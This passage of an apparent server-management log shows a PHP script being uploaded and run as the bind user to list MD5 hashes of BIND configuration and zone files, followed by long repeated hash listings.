MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 12:40:22: Establishing a connection
2026-04-23 12:40:23: 

PUT: /tmp/pkp130459

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 12:40:23: 

runuser -l bind -s /bin/bash -c '/tmp/pkp130459; rm /tmp/pkp130459'

2026-04-23 12:40:23: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 12:45:05: Establishing a connection
2026-04-23 12:45:05: 

PUT: /tmp/pkp624497

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 12:45:05: 

runuser -l bind -s /bin/bash -c '/tmp/pkp624497; rm /tmp/pkp624497'

2026-04-23 12:45:05: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
